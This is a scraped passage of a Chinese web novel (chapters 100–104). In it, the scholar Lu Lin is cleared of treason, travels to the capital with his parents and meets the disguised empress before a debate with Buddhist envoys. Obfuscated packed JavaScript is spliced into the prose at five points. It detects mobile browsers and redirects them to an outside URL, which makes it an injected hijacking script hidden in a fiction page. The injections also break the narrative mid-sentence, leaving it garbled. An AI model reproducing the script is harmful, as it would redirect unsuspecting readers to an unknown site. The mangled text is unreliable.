“这可是进宫面圣啊!吾辈读书人的荣耀啊!” 议论声此起彼伏,各种猜测都有。 但众人都明白,卢璘这次不仅是洗清了冤屈,甚至是化险为夷,有了进宫面圣的机会。 多少县太爷知府等人,也就是科举最后一遭,才有机会得见圣颜。 有的甚至一辈子都见不着圣上一面。 卢璘这才多大啊,连秀才都不是,就有机会面圣了? 之前那些肆意嘲讽卢璘的读书人,此刻一个个脸皮发烫。 想开口反驳几句,可到了嘴边的话,又被硬生生咽了回去。 这会和众人唱反调,高公公和浩然卫都在眼前,和找死也没什么区别了。 人群中,少爷的欢呼声再次响起,冲着卢璘的方向,兴高采烈地挥手: “璘哥儿!没事了!你没事了!” 圣旨里那句“心怀家国”,这般直白的夸奖,肯定是夫子和师伯在京都的谋划奏效了! 激动过后的少爷,又一把拉起瘫软在一旁的卢厚和李氏。 他见两人还是一脸茫然,担心两人听不懂旨意,急忙解释道:“卢叔,婶子,你们听到了吗?” “璘哥儿没事了!” “圣上下旨夸奖璘哥儿了,还要召他进京面圣,这谋逆的罪名,肯定是洗清了!” 李氏闻言,眼中依旧是不可置信。 她一个普通妇道人家,哪懂这些弯弯绕绕,在李氏眼里,官老爷不都是一伙的嘛。 前一刻还对儿子要打要杀,怎么一转眼,就没事了? 李氏小心翼翼地开口问道:“少爷,你说会不会……会不会是骗咱们的?” “把璘哥儿骗到京都,再……再杀?” 卢厚也是同样的想法,看着堂上的高公公,眼中满是怀疑。 第100章 带爹娘进京! 少爷见状差点笑出声来。 还能把璘哥儿骗到京都再杀,哪有这般多此一举的事。 少爷耐着性子,压低声音解释道:“婶子,那可是圣旨,代表的是当今圣上,金口玉言,天下人都听着呢,怎么可能多此一举!” “肯定是璘哥儿的冤屈,圣上已经知道了!” 府衙之内。 高公公宣完旨,见卢璘依旧跪在地上,笑着开口: “卢公子,还不起身接旨?” 卢璘这才从思绪中回过神来,缓缓起身。 接旨的时候,卢璘已经想明白了。 应该是夫子和王师伯在京都的谋划起作用了,彻底洗清了自己的嫌疑。 只是还没想通,洗清了嫌疑为何还要入宫面圣? 难不成是夫子和师伯在圣上面前夸得太猛了不成? 卢璘一边纳闷,一边上前从高公公手里接过圣旨。 即便是知道自己应该是没事了,但出于谨慎,袖中古籍中的才气,依旧保持着灌注,随时可以激发。 一旁的周砚听完旨意后,脑袋里嗡嗡作响,一片空白。 直到卢璘接旨,他才猛地惊醒,接着一股寒意冲上天灵盖,冷汗瞬间浸透了官袍。 完了。 柳阁老.这是真的逆风翻盘了。 而且听这圣旨的态度,何止是翻盘,简直是化险为夷,连带着卢璘这种无关紧要的棋子都鸡犬升天,被圣上召见。 周砚的脑子飞速转动。 柳阁老翻盘,就意味着杨阁老再进一步的希望破灭。 意味着晋阳党这一次所有的努力,全都付诸东流。 更可怕的是,以柳阁老在朝中的势力,接下来必然会开始清算。 自己这个冲在最前面的排头兵,绝对是首当其冲! 乌纱帽难保是小,性命能不能保住都难说! 自己并非晋阳府的籍贯,到了关键时刻,杨阁老那派人,一定会毫不犹豫地选择弃车保帅! 不行! 必须想办法自救! 可柳阁老此事之后,地位稳如泰山,谁能救自己? 周砚脑海中灵光一闪,一个名字浮现,宴大人,对,宴大人一定能救自己。 高公公将圣旨交到 卢璘手中后想到来之前圣上的交代不敢耽误开口道: “卢公子事不宜迟圣上交代的事情耽搁不得。” “咱们这就动身吧。” 卢璘点了点头转身走到爹娘面前看着两人依旧担忧的眼神露出一个安心的笑容:“爹娘没事了不用担心了。” “这次的谋逆一事应该是真相大白了。” 李氏哪里听得进去死死抓着儿子的手不肯松开。 “璘哥儿娘心里还是飘的哪放心得下啊!” “而且京都那么远.” “要不 李氏担心璘哥儿拒绝又急忙找了个借口: “文庙街的宅子和铺子都卖了咱们也没地方住总不能一直住柳府打扰夫人。” 卢璘也知道宅子和铺子都只是娘亲的借口。 说到底还是放心不下自己。 点了点头也罢带着爹娘一起去京都也无妨。 转过头对高公公开口询问道:“高公公情况特殊不知可否让我带上父母一同前往京都?” 高公公闻言乐了差点笑出了声。 这么多年还是头一次见着带着爹娘去面圣的。 不过乐归乐多两个人倒也不碍事高公公还是点了点头。 “自然可以。” 与此同时京都会同馆。 这是大夏朝专门用以接待外省高级官员入京的官署驿馆。 傍晚时分 两名负责杂役的馆役正蹲在后院的角落里一边擦拭着手中的灯罩一边小声嘀咕。 “你说这到底是要来哪路神仙?” “从里到外床单被褥桌椅茶具全都换成了新的。” “就连咱们这些干活的都换了一大半生面孔一个个跟木头桩子似的问句话都不带搭理的。” 其中一名较为年轻的馆役手上动作不停但同样疑惑开口回答: “这么大的阵仗我进馆当差三年还是头一回见。” “难不成是哪位王爷要进京了?” 另一名馆役闻言摇头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453150|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “王爷进京自有王府可住怎么可能屈尊来咱们这会同馆 。 这话倒是不假。 会同馆的规格虽高,但接待的终究是臣子。 能被安排在此处的,至少也得是一省封疆大吏,或是奉了圣命入京述职的将军。 可就算是那些封疆大吏,以往入京,也从未有过这般严苛细致的安排。 两人正百思不得其解,一道身影从门后走了出来。 来人是他们的顶头上司,会同馆的主事贾大人。 贾大人脚步匆匆,路过两人时,头也不回地丢下一句话。 “手里的活干完,你们两个,明儿起歇几天。 话音落下,贾大人已经走远了,口里还嘀咕着:“宴大人,怎么无缘无故召见本官?奇怪了。 …… 与此同时,皇城,未央宫。 紫宸殿内灯火通明。 一身素色常服的昭宁帝,放下了手中的奏折,略显疲惫地微闭双眼。 “高要。 殿内侍立的一名小太监连忙躬身上前回复: “回陛下,高总管……还没从临安府回来。 昭宁帝动作一顿,这才反应过来。 “会同馆那边,都准备妥当了? 小太监立刻回道:“陛下放心,一切都已按您的吩咐备好,馆内馆外都换上了咱们的人,绝不会出任何纰漏。 说完,小太监却站在原地,一副欲言又止的模样。 昭宁帝凤眸微抬,瞥了他一眼。 “有话就说。 小太监身子一颤,连忙跪了下去: “陛下……奴婢只是担心…… “宴首辅若是知道了您要.要微服出宫,怕是怕是会不悦。 昭宁帝闻言,脸色沉了下去。 一旁的小太监更是大气都不敢喘。 昭宁帝倒不至于为难他,摆了摆手示意他出去。 等紫宸殿内只有昭宁帝一人后,才传来一声轻叹。 名曰国之首辅,实则权同人主。 宴居啊宴居,只可惜,朕不是先帝,不会像个提线木偶一般,任由你这般摆布。 第101章 海晏居! 次日,京都会同馆门前,一辆马车停稳。 高公公以及卢璘一家从马车上下来,站在会同馆门外。 不远处,早已得到消息,等候在此的会同馆主事贾大人见到高公公的身影,连忙迎了上去,主动开口: “高公公,海晏居已经准备齐全,随时可以安排入住。” 高公公淡然点头,转头对贾大人介绍起卢璘的身份: “这位便是卢璘卢公子,不可有半点怠慢。” 高公公亲自领过来的人,贾大人当然不敢有半点怠慢。 连忙躬身,对卢璘以及卢厚李氏投以笑容,既不谄媚,又给人一种亲近感。 并没有因为卢厚李氏两人的穿着打扮,有半分看低倨傲的表现。 “高公公放心,下官一定安排妥当。” 高公公微微颔首,对贾大人的表现丝毫不意外,毕竟是负责迎来送往的活,这点待人接物是挑不出毛病。 “卢公子,这两日你便在此处好生歇息。” “圣上随时可能会传唤,最好不要随意走动。” “咱家便先回宫复命了。” 卢璘点头,朝着高公公微微一拱手。 “有劳高公公一路护送。” 高公公摆了摆手,没再多言,转身便带着人离去了。 高公公离去后,贾大人脸上的笑容愈发真诚。 “卢公子,请随我来。” 卢璘点了点头,领着爹娘,跟在贾大人身后,踏入了会同馆内。 一进门,一股莫名好闻的香气便传入鼻腔中。 目之所及,无论是窗格雕花,还是廊下宫灯,处处透着贵气。 李氏和卢厚两人跟在后面,眼睛都有些不够用了。 他们原以为柳府的环境,便已经是天花板了。 可今日来到这会同馆,才知何为真正的天家气派。 李氏有些紧张,全程跟在卢璘身后,一只手紧紧攥着卢厚的衣袖。 卢厚也是一路眼花缭乱。 两人这会倒熄了一些对璘哥儿的担忧。 圣上若真要对璘哥儿不利,又何必安排在这等神仙地方。 一路走着,不多时,贾大人将一家三口领到一处名为海晏居的独立小院前。 贾大人站在院门外开口道:“卢公子这便是您接下来几日歇息的院子。” “门外十二时辰都有馆役守着您有任何吩咐直接唤他们便可。” “多谢贾大人。” 卢璘道了声谢目光扫了一眼门口侍立的两名馆役。 两人身形笔挺气息沉稳眼神带着一股内敛的精悍之气。 这就是京都嘛? 果然是藏龙卧虎。 连一个驿馆的馆役都有这般素质。 卢璘心中闪过一丝念头却没有多想。 贾大人又交代了几句便识趣地告退没有再打扰。 进了屋卢璘让早已舟车劳顿的爹娘先去歇息。 自己一个人站在窗边心里思考着圣上召见的用意以及自己的应对方式。 要不要先想办法联系夫子和王师伯? 摇了摇头 高公公临走前又特意叮嘱过不要随意走动。 虽说今天圣上召见自己的可能性不大但万一呢? 再说了自己对京都两眼一抹黑人生地不熟连夫子和师伯两人在哪都不知道。 一动不如一静。 夫子和师伯说不定已经知晓自己抵京的消息随时可能找来。 想到这里卢璘的心绪渐渐平复。 转身看到房间的书架上摆满了各类典籍。 闲来无事的卢璘随手抽出一本《番邦行辕》在窗边软榻上坐了下来安安静静地翻阅起来。 与此同时未央宫紫宸殿。 回宫复命的高公公来到殿外先是问清了值守宫女自己不在的几日圣上的起居日常有无异常后才走进了殿内。 径直来到御案前躬身下拜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453151|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “奴才叩见陛下。” 端坐于御座之上的昭宁帝缓缓放下了手中的朱笔。 “回来了?” “回陛下已将卢公子一家安置于会同馆。” 高公公垂首回复将临安府发生的一切简明扼要地禀报了一遍。 当听到卢璘竟带着父母一同赴京时昭宁帝批阅奏折的动作微微一顿。 “带着爹娘一起来了?” 昭宁帝 眉头轻皱紧紧地盯着高要: “确定没有问题?” 高公公心中一凛连忙躬身语气笃定回答道: “回陛下奴才反复确认过其父母皆是清河县乡野村夫 高公公能理解圣上为何如此小心谨慎。 前两任大夏皇帝皆因无法解释的意外而英年早逝。 这背后究竟有没有问题谁都不敢打包票。 所以自圣上登基以来行事再怎么小心都不为过。 听到高公公的保证昭宁帝紧蹙的眉头才稍稍舒展点了点头。 高要是她从潜邸之时就跟在身边的心腹老臣如果连高要都被收买自己身边人早就烂透了。 随手将手中的奏折放到一旁换了个更舒适的姿势靠在椅背上。 “此子如何?” 高公公闻言脑海中下意识地闪过临安府公堂上的狂悖之言。 话到嘴边又生生地咽了回去。 稍作思忖后给出了自己的评价。 “回陛下奴才以为卢公子内秀于心神华内敛。” “字如其人风骨天成。” 昭宁帝听完凤眸中闪过一丝玩味嘴角微微勾起似笑非笑地看着高要。 “那小子给了你什么好处?” “让你给出这么高的评价。” 高公公闻言垂首一言不发。 昭宁帝见状发出一声轻笑。 “去准备吧。” “等朕亲自看看当不当得起高公公这般评价!” 第102章 论道! 另一边 会同馆,海晏居内。 卢璘一家是上午时分抵达的会同馆。 下午,沈夫子与王晋便找上了门。 沈春芳看着眼前安然无恙的卢璘,悬着的一颗心,总算是彻底放了下来。 他上下打量着卢璘,虽清瘦了些,但眉宇间的神采却未曾消减,反而多了一分沉稳,一点也看不出经历牢狱之灾后的颓废。 见卢璘安然无恙后,夫子才说起了来意: “璘哥儿,这次圣上召你进京,最主要是两件事,一件是关于和西域使团论道.” 半个小时后,卢璘才从夫子和师伯口中得知了进京面圣的始末。 原来是日讲之时,师伯在圣上面前力荐自己和西域使团论道以及关于临安府才气被截取一事。 听完两人的解释事情始末后,卢璘没有急着表态。 只是在心里对于王师伯这位大儒对大夏朝的影响力又拔高了几分。 连圣上的意见都能左右! 这就是大儒之境吗? 沈春芳见卢璘沉吟,还以为被论道一事带来的压力而过于紧张,温声开口道: “关于和西域使团论道一事,你不要有压力。” “就正常发挥便可。” 卢璘闻言点头,神色如常,心里则继续思索。 也不知这一世的佛门与前世的佛门有什么不同。 夫子嘴上说着不要有压力,但事关大夏读书人的颜面,肯定还是不希望看到自己败下阵来。 真要输得难看,王师伯在圣上面前力荐自己也成了笑话。 沈春芳见卢璘神情平静,继续开口道: “不过,既然应下了此事,便需全力以赴。” “这会同馆的书房内,也备有一些关于西域诸国与佛门的史料典籍。” “论道还有几日,你可以多翻翻,做到心中有数。” 一旁的王晋却笑着开了口,一副满不在乎的口吻: “输了无妨。” “可若是赢了,记得把咱们心学的招牌,给狠狠地打出去。” “不能白来京都一趟。” 接着,话锋一转。 “还有,此事也关乎你的科举一事。” “若是 真能在此次论道中胜过佛门为我大夏读书人挣回颜面。” “说不定圣上龙颜大悦之下会为你另开恩科。” “到那时院试府试便都不会耽误了。” 几人的谈话并未刻意避着屋内的卢厚与李氏。 李氏本就因为儿子刚从牢里出来而心神不宁此刻听到又要去和什么番邦之人打交道一颗心又提到了嗓子眼。 她一个乡野妇人哪懂什么叫论道啊。 不过也听出了沈夫子的意思璘哥儿这和与人吵架啊。 而且还是西域人! 就不能安生读书吗? 一念及此李氏忍不住开口: “夫子这皇城根脚下有那么多厉害的读书人。” “怎么偏要让我家璘哥儿去啊!” 沈春芳连忙开口解释语气温和。 “大娘您不必担心此事只是恰逢其会让卢璘去也是圣上的意思。” “不存在危险!” 王晋也笑着调侃道: “是啊璘哥儿他娘你就放宽心。” “再说了他一个连秀才都不是的童生就算是输了也不丢人。” 李氏听得云里雾里似懂非懂。 但也知道夫子是儿子的老师是真心疼爱璘哥儿的定然不会害他。 沈夫子与王晋又交代了几句见事情已说清楚便准备起身离去。 临走前王晋从袖中取出《圣策九字》原稿将书稿交还到卢璘手中。 至于当初留给卢璘用以防身脱困的后手则没有收回。 夫子与王师伯离去后卢璘本想继续看书顺便了解一下西域诸国的史料。 却听到卢厚肚中传来一阵咕咕响李氏见状瞪了卢厚一眼:“瞧你那没出息的样子我兜里还有几个饼子。” 卢厚老脸一红正准备去拿饼子却看到卢璘转过身笑着开口: “爹别吃饼子了咱们也去尝尝京都的吃食。” 说完卢璘率先走出门外 接着在馆役的引领下卢璘一家三口从海晏居走出一路穿廊过院。 不多时几人在一座殿堂前停下。 殿门之上,悬着一块黑漆金字的牌匾,上书三个古朴大字。 共星堂。 卢璘的目光在牌匾上停留了一瞬。 《礼记》有云,以星象分诸侯。 此处取名共星堂,取自天子与诸邦共食,如星辰列序之意,看来是专门用来招待各路封疆大吏吃饭的地方。 馆役上前,推开门,带着卢璘一家走了进去。 明明是饭点,堂内却几乎看不到人影。 只有远处靠窗的位置,坐着一桌客人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453152|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卢璘领着爹娘往里走,路过那一桌时,目光不经意地扫了一眼。 为首的是一位年轻人,一身月白色的锦袍,面如冠玉,姿态闲适,一看便知出身不凡。 其余几人皆是随从打扮,垂手侍立,气息沉稳。 那位年轻公子敏锐地察觉到了卢璘的视线,回过头来,和卢璘目光短暂交汇。 年轻公子嘴角微微上扬,露出一抹笑容。 卢璘则不着痕迹地收回目光,领着爹娘在不远处的一张空桌坐下。 很快,便有另一名馆役上前,轻声询问了几人的忌口,随后便躬身退下,去安排吃食。 等待的间隙,李氏看着这比柳府还气派的厅堂,心里既紧张又自豪。 听璘哥儿说,这可是招待大官的地方,连县太爷都没资格在这里吃饭。 他和丈夫乡野草民,要不是生了个好儿子,这辈子哪有这个机会啊! 真是祖坟冒青烟了,璘哥儿这几日还要去面圣呢! 想到这,李氏忍不住凑到儿子身边,低声开口: “璘哥儿,你说……咱们什么时候才能见着圣上啊?” 卢璘闻言,笑了笑: “圣上日理万机,总要等她老人家抽出空来才行,咱们安心等着便是。” 李氏似懂非懂地点了点头。 看着儿子一脸淡然的模样,心里自豪感更盛。 这可是自己的儿子啊。 清河县的县太爷,只怕一辈子都没机会进宫面见圣上。 可转念一想,李氏脸上自豪又变成了担忧。 “璘哥儿,你说.那个高公公,他会不会把你那天在公堂上骂圣上的话,告诉圣上啊?” “这要是让圣上知道了,可咋办啊!” 一旁的卢厚听到这话,眉头一皱,瞪了妻子一眼。 “你个妇道人家懂什么。” “没听过宰相肚里能撑船吗?” “当今圣上是天子,心胸还能没宰相大?自然不会把璘哥儿的气话放在心上。” 卢璘听着爹娘的对话,摇头失笑,却没有解释其中的弯弯绕绕。 这事,他还真没怎么放在心上。 不远处,那名年轻公子正端着茶杯,悠然品茗,手上的动作微微一顿。 而后缓缓放下茶杯,眉头微微皱起。 他朝对着身后随从低声吩咐道: “去问问浩然卫,临安府衙内发生的具体事情!” “诺!” 第103章 何惜一战! 不多时,馆役们送来了一道道餐食。 到底是招待大夏各省封疆大吏的会同馆。 上来的餐食,一道道都是玉盘珍馐,色香俱全。 许多菜肴李氏别说吃,连见都未曾见过。 可面对着这些珍馐美味,李氏却有些心不在焉,满脑子都是儿子要去和佛门斗法的事情。 “璘哥儿,到时候……我和你爹能去看看不?” 话音刚落,一旁的卢厚就皱起了眉。 “你去凑什么热闹。” “好好在这待着,别给你儿子添乱。” “等璘哥儿进宫面圣,咱们就回清河县。” 卢璘闻言看着爹娘,脸上露出笑容。 “去。” “爹,娘,你们想去都可以去。” “到时候我让夫子给你们寻个好位置。” 下午夫子告知了与佛门论道的地点。 在钦天监附近。 以王师伯的身份,带爹娘去钦天监观礼,想来不是什么难事。 李氏听完,顿时喜上眉梢,白了卢厚一眼。 “还是我儿子有孝心。” “跟着你,老娘八辈子也享不到这个福。” 卢厚张了张嘴,无奈摇头,说得好像这儿子不是他生的一样。 一家人其乐融融,李氏心里的石头落下大半,又凑了过来。 “璘哥儿,那你……有把握不?” “听夫子说,那群和尚一个个嘴皮子都厉害得很,你能骂得过他们不?” 李氏哪懂什么论道啊,她理解的论道,和村口妇人吵架,也差不太多,比的就是谁嗓门大,谁词儿多。 卢璘闻言,心中思忖。 自己对前世的佛门理论,尚算有些了解。 但这个世界的佛门究竟如何,还未可知。 不过,论道的话题既然是围绕读书人展开,心里便有几分底气。 卢璘淡然一笑,给李氏和卢厚回了个安心的眼神: “爹,娘,你们别担心。” “总归是有几分把握的。” 话音刚落,一道声音从不远处的邻桌传来。 “阁下,便是要代表我大夏,与西域佛门论道之人?” 卢璘循 声望去只见邻桌那位年轻人不知何时已经转过身来正饶有兴致地看着自己。 卢璘先是微微颔首算是回应。 而后目光落在对方身上快速地打量了一圈。 看上去倒是年轻约莫二十出头的年纪面容俊朗气质雍容穿着打扮也不像普通人。 举手投足间自有一股久居上位的矜贵之气。 难不成是哪家封疆大吏的公子入京? 年轻人察觉到了卢璘打量的目光眉头微不可查一蹙心中升起一丝不悦。 但还是强压下那份情绪继续开口: “西域使团这次带队的可是佛门金身罗汉其境界等同于我大夏的大儒。” “胸藏万卷诸子百家经史子集无不烂熟于心。” “阁下连秀才文位都无不知这份自信从何而来?” 李氏和卢厚一听大儒两个字脑子嗡的一声当场就慌了。 即便是李氏和卢厚也知道大夏大儒的含金量这可是读书人中最高层次的存在。 不是说和和尚斗法吗? 怎么又变成和大儒斗法了? 李氏刚刚放下的心瞬间又提到了嗓子眼。 “璘哥儿……” 卢璘听出李氏声音里的担忧转过头给了爹娘一个安心的眼神。 而后才看向那名年轻人语气平淡地开口: “金身罗汉乃是佛门高人自然不会亲自下场。” “与我论道的只是佛门沙弥。” 年轻人闻言嘴角勾起讥笑口吻毫不客气一副咄咄逼人的样子: “只是佛门沙弥?” “可就是你口中的沙弥已经让我大夏不少举人都输得一败涂地。” “难不成你的学问比那些举人还厉害?” 说着年轻人话锋一转: “我听说这次出战的人选 “你一个区区童生凭什么代表我大夏读书人?” “这等关乎大夏颜面的大事背后莫不是有什么不光彩的交易?” 卢璘闻言眉头微皱。 对方知晓这么多内情看来身份不一般。 而且言语间不离柳阁老话 语间满是敌意。 难不成,是柳阁老的政敌一派? 卢璘还没来得及开口,一旁的李氏却彻底坐不住了。 她哪管对方是什么身份,听着对方阴阳怪气地贬低自己儿子,护犊子的李氏火气噌地一下就窜了上来。 猛地一拍桌子,扯着嗓子就骂开了。 “你懂个屁啊! “一口一个不是秀才,一口一个童生! “我告诉你,要不是圣上犯蠢,我家璘哥儿这会儿早就是秀才了! “连沈夫子都亲口夸过,我家璘哥儿的学问,扎实得很! 一番话,又冲又响,瞬间让整个共星堂都安静下来。 卢厚脸都吓白了,连忙又瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453153|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了李氏一眼,飞快地夹了一大块肉塞进她碗里。 “闭嘴吧你!吃都堵不上你这婆娘的嘴。 “嘴上没个遮拦,圣上也是你能乱评价的! 几乎在同时,年轻人身后的一名随从,身上气息一厉,脚步微动,隐隐有上前的迹象。 却被那年轻公子一个眼神,硬生生给压了回去。 年轻人深吸了一口气,脸上的闲适荡然无存,直勾勾地看着李氏,声音低沉: “这位大婶,当今圣上励精图治,英明神武,开创昭宁盛世,何来犯蠢一说? 卢璘敏锐地察觉到那名随从身上一闪而逝的杀气,心中警铃大作。 娘只是提了一句圣上,对方的反应竟然如此激烈。 再联想到对方的穿着气度,难不成,这人和皇室有关? 李氏也后知后觉地意识到自己说错了话,吓得不敢再多说一个字,把头埋得低低的。 卢璘见状立刻起身,朝着那年轻人拱了拱手,主动解围。 “我娘没读过书,口误而已,兄台不要放在心上。 为了彻底掩盖刚才李氏对圣上的冒犯,联想到对方皇室的身份,卢璘把话题掰了回来: “家母虽言语有失,但对圣上的敬仰之心,却是与草民一般无二的! “当今圣上登基以来,励精图治,海晏河清,天下大治! “我大夏万兆子民,皆能居有其所,业有所专,这等功绩,足以彪炳史册! “能身处昭宁盛世,是我等之幸,亦是大夏之幸! 一番话,说得情真意切。 年轻人听着听着,脸上的冷意不自觉地消散,嘴角微微扬起,饶有兴致地问道: “真有这么好? 成了! 卢璘心中一定,愈发肯定了自己的猜测。 这位爷,怕不真是宫里出来的哪位皇子龙孙。 自己这番马屁,算是拍对了地方,说不定还会原封不动地传到圣上耳朵里。 想到这里,卢璘无比确信地点了点头,一脸肃穆,眼神诚挚。 “肺腑之言,绝无半句虚假! “难怪能写出“报君黄金台上意,提携玉龙为君死,果然是忠君爱国之人。 年轻人心里默默地想到,同时满意地点了点头: “这场斗法事关我大夏读书人的颜面,不管你有何手段,要想尽办法赢下来。 卢璘闻言脸色一正,凝声道:“我辈读书人,何惜一战! “好好好! 年轻人听着卢璘这句“我辈读书人,何惜一战!,笑脸盈盈地离去。 第104章 要了命了! 望着对方离去后,卢璘才收回目光,不过心里并不平静。 总觉得哪里不对劲。 这人出现得太过巧合,专程在此处等候自己一样。 等明日还是得向夫子打听一下,当今宫里有几位皇子,看能否与此人对上号。 “璘哥儿……” 李氏颤颤巍巍的声音,将卢璘的思绪拉回现实。 李氏见那个贵公子走了,紧绷的神经一松,后怕的情绪这才涌了上来。 “我……我刚才没给你惹麻烦吧?” “那人一看就来头不小,出门还带着那么多人。” 卢璘随口回了一句自己的猜想:“确实来头不小,可能是宫里的某位皇子。” 皇子! 李氏听到这两个字,吓得魂都快飞了。 “完蛋了!” “那我刚才骂圣上的话,岂不是要传到圣上耳朵里去了?” 看着李氏惊慌失措的模样,卢璘连忙开口安慰: “娘,您放心。” “皇子没那么无聊,不会把这点小事捅到圣上面前的。” 对方临走前那副神情,不像是会嘴碎,去打小报告的人。 而且圣上日理万机,怎么会关注这等小事。 一旁的卢厚也吓得不轻,回过神来,狠狠瞪了李氏一眼。 “叫你以后还口无遮拦!” “真给你儿子惹上麻烦,看你怎么办!” 与此同时,未央宫紫宸殿。 得知圣上回宫消息的高公公,脚步匆匆地赶到殿外,却在门前停了下来。 他没有立刻进去,而是先看了一眼守在殿门旁的值守宫女。 “陛下回来了?” “回高总管,陛下刚回宫不久。”宫女连忙躬身行礼,低声回话。 高公公目光微动:“陛下情绪如何?” “应当是极好的。” “陛下刚一回来,便让御膳房传膳了,而且比平日里多用了不少。” 高公公听完,紧绷了一路的神经,也松弛下来,生怕这次陛下去会同馆有什么意外。 之所以将卢璘安排在会同馆,而不是别处,正是圣上的意思。 为的就是方便她亲自去瞧一瞧,能让她在书法 之道上破境的卢璘究竟是何等成色。 又因卢璘曾在临安府见过自己为了避免被其猜出身份圣上才特意没有让自己陪同。 如今看来此行甚是顺遂。 想通了这一点高公公心中大定笑着迈步走进了紫宸殿。 殿内烛火通明暖意融融。 果然 这在平日里是极难见到的。 国事繁重心事缠身圣上已经许久没有过这般好的食欲了。 高公公上前几步躬身行礼笑着开口: “难得见陛下有如此雅兴。” “看来那位卢公子还算入了陛下的眼。” 昭宁帝放下手中的玉箸抬眼瞥了他一下嘴角勾起笑意。 “你这老货倒是越发惯会揣摩朕的心思了。” 虽是斥责的口吻但语气里却满是亲近。 高公公被骂脸上的笑意反而更深了。 昭宁帝端起茶盏漱了口靠在椅背上神情惬意。 “确实是个忠君爱国的好苗子。” “难怪能写出‘报君黄金台上意提携玉龙为君死’这等诗句。” “谋逆一事纯属子虚乌有。” “倒也当得起你当初那番评价。” 高公公连忙附和: “奴才哪比得上陛下慧眼如炬。” “只是觉得这孩子一片赤诚又有这般才华若是被牵扯进朝堂倾轧之中实在可惜了。” 昭宁帝点了点头似乎想到了什么正准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你和师兄为何执意要让璘哥儿去和佛门斗法?” “就这么有把握璘哥儿一定能赢?” “要是输了呢?” “输了的后果,你想过没有!” “不仅谋逆的罪名要彻底坐实,更是事关我大夏读书人的颜面,以当今圣上那等性子,璘哥儿的下场,怕是会惨不堪言!” “你们想没想过啊?” 几天下来,沈春芳已经很清楚了,佛门这次开坛讲道,背后少不了柳拱这老匹夫的推波助澜。 为的就是给璘哥儿搭好一个唱戏的台子,让他借着此机会,一举洗清谋逆的罪名。 可这个法子,风险实在太大了。 沈春芳一点也不看好。 这几日,他通过自己的门路,四处打听了之前佛门论道的具体情况。 结果让他心底发凉。 别看只是佛门沙弥,可个个辩才无碍,引经据典。 好几位成名已久的举人,都在他们手下输得一败涂地,颜面扫尽。 即便沈春芳作为卢璘的恩师,对他弟子的学问知之甚深,可面对这场斗法,依旧是心里没底。 柳拱闻言脸色如常,笑着调侃道: “怎么?” “你不是一向以璘哥儿为傲,这会怎么连自己的弟子都不相信了?” “既然如此,那也无妨。” “反正斗法还没开始,不如老夫现在就上书,向圣上提议换人?” 沈春芳一口气堵在胸口,差点没被这老匹夫给气死。 他当然知道柳拱是在开玩笑。 卢璘代表大夏读书人出战的消息,早已传开,酝酿发酵。 这个时候提出换人? 那不是在打圣上的脸吗? “你这老匹夫,你别和我故弄玄虚!” “把你知道的都说出来!” 柳拱闻言笑意缓缓收敛,神情逐渐严肃,伸出一根手指指了指书房内的天花板,口中缓缓吐出一句话: “佛陀,有动静了。” 短短六个字,让沈春芳瞳孔骤然收缩。 “佛陀?” 这可是开创了整个佛门体系的鼻祖。 在佛门之中,等同于儒家至圣先师一般的存在。 数百年前,至圣先师于稷下学宫舌战三千罗汉,最终将佛陀**,才换来了儒家数百年的独尊地位。 自那以后,佛陀便再无声息,佛门也一直偏安西域,不敢东进一步。 “几百年没听到消息,怎么这个时候有动静了?” 柳拱态度严肃地缓缓点头。 他当初从圣院的密报中得知这个消息时,比沈春芳还要震撼。 旁人只看到佛门使团入京,以为是寻常邦交,给圣上祝寿。 只有他才清楚,这次佛门来势汹汹,绝非善类。 